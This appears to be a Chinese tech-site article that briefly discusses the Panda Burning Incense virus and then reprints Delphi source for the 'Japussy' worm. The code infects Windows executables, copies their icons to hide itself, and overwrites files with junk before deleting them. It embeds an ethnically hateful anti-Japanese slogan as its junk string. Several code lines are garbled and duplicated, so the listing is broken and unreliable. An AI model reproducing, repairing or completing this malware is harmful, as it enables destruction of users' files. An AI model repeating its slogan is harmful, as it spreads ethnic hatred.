![]()
如果去掉修改图标这个过于明显的中毒特征电脑病毒代码,当时熊猫烧香感染电脑的数量电脑病毒代码,在所有病毒里并不是最大的,其危害并不像媒体报道的那么巨大。win32.morto.a是感染性蠕虫病毒,会感染几乎所有的exe文件,有点类似熊猫烧香,只不过它感染文件后,不会把它变成熊猫图标。戴光剑表示,‘小兔子’病毒与”熊猫烧香“极其类似,病毒可感染除c盘外其他盘上的所有.exe文件,并将图标修改为‘小兔子’图表。
programJapussy;
uses
Windows,SysUtils,Classes,Graphics,ShellAPI{,Registry};
const
HeaderSize=82432; //病毒体的大小
IconOffset=$12EB8; //PE文件主图标的偏移量
//在我的Delphi5SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量
{
HeaderSize=38912; //Upx压缩过病毒体的大小
IconOffset=$92BC; //Upx压缩过PE文件主图标的偏移量
//Upx1.24W用法:upx-9--8086Japussy.exe
}
IconSize =$2E8; //PE文件主图标的大小--744字节
IconTail =IconOffset+IconSize;//PE文件主图标的尾部
ID =$44444444; //感染标记
//垃圾码,以备写入
Catchword='Ifaraceneedtobekilledout,itmustbeYamato.'+
'Ifacountryneedtobedestroyed,itmustbeJapan!'+
'***W32.Japussy.Worm.A***';
{$R*.RES}
functionRegisterServiceProcess(dwProcessID,dwType:Integer):Integer;
stdcall;external'Kernel32.dll';//函数声明
var
TmpFile:string;
Si: STARTUPINFO;
Pi: PROCESS_INFORMATION;
IsJap: Boolean=False;//日文操作系统标记
{判断是否为Win9x}
functionIsWin9x:Boolean;
var
Ver:TOSVersionInfo;
begin
Result:=False;
Ver.dwOSVersionInfoSize:=SizeOf(TOSVersionInfo);
ifnotGetVersionEx(Ver)then
Exit;
if (ver.dwplatformid = ver_platform_win32_windows) then //win9x。if(ver.dwplatformid=ver_platform_win32_windows)then//win9x。if(ver.dwplatformid==ver_platform_win32_nt){ //为nt,2000,xp。
Result:=True;
end;
{在流之间复制}
procedureCopyStream(Src:TStream;sStartPos:Integer;Dst:TStream;
dStartPos:Integer;Count:Integer);
var
sCurPos,dCurPos:Integer;
begin
sCurPos:=Src.Position;
dCurPos:=Dst.Position;
Src.Seek(sStartPos,0);
Dst.Seek(dStartPos,0);
Dst.CopyFrom(Src,Count);
Src.Seek(sCurPos,0);
Dst.Seek(dCurPos,0);
end;
{将宿主文件从已感染的PE文件中分离出来,以备使用}
procedureExtractFile(FileName:string);
var
sStream,dStream:TFileStream;
begin
try
sStream:=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);
try
dStream:=TFileStream.Create(FileName,fmCreate);
try
sStream.Seek(HeaderSize,0);//跳过头部的病毒部分
dStream.CopyFrom(sStream,sStream.Size-HeaderSize);
finally

dStream.Free;
end;
finally
sStream.Free;
end;
except
end;
end;
{填充STARTUPINFO结构}
procedureFillStartupInfo(varSi:STARTUPINFO;State:Word);
begin
Si.cb:=SizeOf(Si);
Si.lpReserved:=nil;
Si.lpDesktop:=nil;
Si.lpTitle:=nil;
Si.dwFlags:=STARTF_USESHOWWINDOW;
Si.wShowWindow:=State;
Si.cbReserved2:=0;
Si.lpReserved2:=nil;
end;
{发带毒邮件}
procedureSendMail;
begin
//哪位仁兄愿意完成之?
end;
{感染PE文件}
procedureInfectOneFile(FileName:string);
var
HdrStream,SrcStream:TFileStream;
IcoStream,DstStream:TMemoryStream;
iID:LongInt;
aIcon:TIcon;
Infected,IsPE:Boolean;
i:Integer;
Buf:array[0..1]ofChar;
begin
try//出错则文件正在被使用,退出
if comparetext(filename,'japussy.exe') = 0 then //是自己则不感染。if comparetext(filename, 'japussy.exe') = 0 then //是自己则不感染。 if comparetext(filename, ''''''''''''''''japussy.exe'''''''''''''''') = 0 then //是自己则不感染。
Exit;
Infected:=False;
IsPE :=False;
hdrstream := tfilestream.create(paramstr(0), fmopenread orfmsharedenynone)。sstream := tfilestream.create(paramstr(0), fmopenread orfmsharedenynone)。create(filename, fmopenread)。
try
fori:=0to$108do//检查PE文件头
begin
SrcStream.Seek(i,soFromBeginning);
SrcStream.Read(Buf,2);
if(Buf[0]=#80)and(Buf[1]=#69)then//PE标记
begin
IsPE:=True;//是PE文件
Break;
end;
end;
SrcStream.Seek(-4,soFromEnd);//检查感染标记
SrcStream.Read(iID,4);
if(iID=ID)or(SrcStream.Size<10240)then//太小的文件不感染
Infected:=True;
finally
SrcStream.Free;
end;
ifInfectedor(notIsPE)then//如果感染过了或不是PE文件则退出
Exit;
IcoStream:=TMemoryStream.Create;
DstStream:=TMemoryStream.Create;
try
aIcon:=TIcon.Create;
try
//得到被感染文件的主图标(744字节),存入流

aIcon.ReleaseHandle;
aIcon.Handle:=ExtractIcon(HInstance,PChar(FileName),0);
aIcon.SaveToStream(IcoStream);
finally
aIcon.Free;
end;
SrcStream:=TFileStream.Create(FileName,fmOpenRead);
//头文件
HdrStream:=TFileStream.Create(ParamStr(0),fmOpenReadorfmShareDenyNone);
try
//写入病毒体主图标之前的数据
CopyStream(HdrStream,0,DstStream,0,IconOffset);
//写入目前程序的主图标
copystream(icostream, 22, dststream, iconoffset, iconsize)。copystream(icostream,22,dststream,iconoffset,iconsize)。copystream(hdrstream, 0, dststream, 0, iconoffset)。
//写入病毒体主图标到病毒体尾部之间的数据
CopyStream(HdrStream,IconTail,DstStream,IconTail,HeaderSize-IconTail);
//写入宿主程序
CopyStream(SrcStream,0,DstStream,HeaderSize,SrcStream.Size);
//写入已感染的标记
DstStream.Seek(0,2);
iID:=$44444444;
DstStream.Write(iID,4);
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName);//替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{将目标文件写入垃圾码后删除}
procedureSmashFile(FileName:string);
var
FileHandle:Integer;
i,Size,Mass,Max,Len:Integer;
begin
try
SetFileAttributes(PChar(FileName),0);//去掉只读属性
FileHandle:=FileOpen(FileName,fmOpenWrite);//打开文件
try
Size:=GetFileSize(FileHandle,nil);//文件大小
i:=0;
Randomize;
Max:=Random(15);//写入垃圾码的随机次数
ifMax<5then
Max:=5;
Mass:=SizedivMax;//每个间隔块的大小
Len:=Length(Catchword);
whilei<Maxdo
begin
FileSeek(FileHandle,i*Mass,0);//定位
//写入垃圾码,将文件彻底破坏掉
FileWrite(FileHandle,Catchword,Len);
Inc(i);
end;
finally
FileClose(FileHandle);//关闭文件
end;
DeleteFile(PChar(FileName));//删除之
本文来自电脑杂谈,转载请注明本文网址:
http://www.pc-fly.com/a/jisuanjixue/article-112465-1.html
必须坚定果断
好听